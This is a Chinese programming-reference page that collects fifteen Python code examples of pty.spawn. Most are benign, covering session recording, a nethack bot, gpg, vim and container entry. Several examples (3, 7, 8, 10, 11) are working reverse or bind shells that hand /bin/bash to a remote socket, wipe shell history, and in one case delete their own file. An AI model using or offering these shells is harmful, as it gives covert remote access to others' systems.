本文整理汇总了Python中pty.spawn函数的典型用法代码示例。如果您正苦于以下问题:Python spawn函数的具体用法?Python spawn怎么用?Python spawn使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了spawn函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: sheller
def sheller(arg):
global shell, shell_input_reader, shell_output_writer
os.dup2(shell_input_reader, 0)
os.dup2(shell_output_writer, 1)
os.dup2(shell_output_writer, 2)
while True:
pty.spawn('/bin/bash')
示例2: run_interactive
def run_interactive(cmd):
status = 'success'
result = None
print('Recording {}. Send EOF (^D) to end.'.format(cmd), end='\n\n')
# This is mostly taken from the stdlib's `pty` docs
with io.BytesIO() as script:
def read(fd):
data = os.read(fd, 1024)
script.write(data)
return data
# TODO: update this with try/except clauses as we find exceptions
pty.spawn(cmd, read)
try:
result = script.getvalue().decode(encoding='utf-8')
except UnicodeDecodeError:
result = script.getvalue().decode(encoding='cp437')
print('\nSubmission recording completed.')
runagain = input('Do you want to run the submission again? [y/N]: ')
again = runagain.lower().startswith('y')
return (status, result, again)
示例3: main
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
示例4: play
def play(self, **kwargs):
shape = (25, 80)
self.glyphs = numpy.zeros(shape, int)
self.reverse = numpy.zeros(shape, bool)
self.bold = numpy.zeros(shape, bool)
self._raw = ''
self._term = ansiterm.Ansiterm(*shape)
self.command = None
self._need_inventory = True
self._more_inventory = False
self.messages = collections.deque(maxlen=1000)
self.stats = {}
self.inventory = {}
self.spells = {}
opts = dict(character=random.choice('ran wiz'.split()),
gender=random.choice('mal fem'.split()),
race=random.choice('elf hum'.split()),
align=random.choice('cha neu'.split()))
opts.update(kwargs)
handle = tempfile.NamedTemporaryFile()
handle.write((self.OPTIONS % opts).encode('ascii'))
handle.flush()
os.environ['NETHACKOPTIONS'] = '@' + handle.name
pty.spawn(['nethack'], self._observe, self._act)
示例5: share
def share(self):
# XXX: Not very pythonic >:(
log.debug("Establishing XMPP connection")
if not self.xmpp.connect():
die("Could not connect, see xmpp.log for details")
# Join all rooms
muc_plugin = self.xmpp.get_plugin('xep_0045')
log.debug("Joining rooms: {}".format(self.config.strategy['rooms']))
for room in self.config.strategy['rooms']:
muc_plugin.joinMUC(room, self.config.options['nick'])
# Process XMPP events in another thread
log.debug("Spawning XMPP worker")
self.xmpp.process()
'''
Spawn a new shell in a pseudo terminal, pty polls with select()
and notifies LineReader when data is available. There's an annoying
bug right now; pty doesn't know when to die because it never
gets EOF. Idk how to deal with this but you can just hit crlf twice
after exiting the shell.
'''
log.info("@[email protected] You are being watched @[email protected]")
pty.spawn(self.config.options['shell'], self.reader.read)
log.info("X_X You are alone again X_X")
# Close XMPP connection
# XXX: If I didn't set send_close=False here, this took a long time
# to exit. My guess is that hipchat doesn't properly respond to the
# stream footer but idk.
log.debug("Tearing down XMPP connection")
self.xmpp.disconnect(send_close=False)
示例6: __init__
def __init__(self, cmdv, tee_fd=None, silent=False, verbose=False):
if tee_fd is None:
self.tee = StringIO()
self.internal_fd = True
else:
self.tee = tee_fd
if silent == True:
self.silent = ''
else:
self.silent = silent
if verbose:
print('+', ' '.join(cmdv))
#
## python lambda is the only way to look into the surrounding scope.
## But then python lambda cannot do anything except a simple expression.
## hence we need both
## a method
## which can have assignments and multiple statements, but cannot see the scope.
## and a lambda
## which sees the scope, but cannot have assignements and multiple statements.
## and we need to pass in a reference, so that it is mutable from inside.
## using a one element array.
## Total: three ugly hacks, that would be a plain anonymous sub {} in perl.
import pty
# FIXME: this code has better signal handling than pty.spawn:
# http://code.google.com/p/lilykde/source/browse/trunk/runpty.py?r=314
# FIXME: sudo needs to reprompt for a password, when behind a pty
pty.spawn(cmdv, lambda fd: self.tee_read(fd))
示例7: main
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
示例8: main
def main():
s = sctpsocket_tcp(socket.AF_INET)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
示例9: terminal2
def terminal2(self, cpid):
"""
This function takes a pid of a running container and opens it in
xterm if its available
"""
nsenter = ('sudo nsenter -m -u -n -i -p -t {0} /bin/bash'.format(cpid))
if os.getenv('DISPLAY', "") == "":
pty.spawn(nsenter.split())
else:
mycommand = "xterm -T {0} -e {1}".format(cpid, nsenter)
subprocess.Popen([mycommand], stdout=subprocess.PIPE, shell=True)
示例10: main
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
os.putenv("HISTSIZE", 0)
pty.spawn("/bin/bash")
s.close()
os.remove('/tmp/.x.py')
示例11: main
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
示例12: gpg
def gpg(*args):
argv = ['gpg'] + list(args)
for n in xrange(3):
pty.spawn(argv)
pid, status = os.wait()
status = os.WEXITSTATUS(status)
if status == 0:
break
else:
print 'Failure running', ' '.join(argv)
sys.exit(status)
示例13: join
def join(self, new_tty=False):
"""Although this is designed for fooling processes (like su) to read
from stdin when it's not a tty, it seems to work OK to avoid pty
ownership issues."""
args = ['screen', '-r', self.name]
if new_tty:
# TODO:
# Can we do this less hackily? I think it messes up the console
# because it doesn't fully replace streams. Dup2?
pty.spawn(args)
else:
self._pipe(args).wait()
示例14: main
def main(args):
parser = argparse.ArgumentParser(description="Demonstrate commands on demand.")
parser.add_argument('script', help='The script to draw commands from.')
parser.add_argument('command', nargs='+',
help='The interpreter (including any arguments to it)'
'to run the lines from script in.')
options = parser.parse_args(args)
script_reader = make_reader(options.script)
pty.spawn(options.command, stdin_read=script_reader)
示例15: spawn_vim
def spawn_vim(vim_command='vim', rcfiles=[], files_to_edit=[]):
import pty
command = [vim_command, '-u']
if rcfiles:
command.extend(rcfiles)
else:
command.append('NONE')
command.extend(files_to_edit)
pty.spawn(command)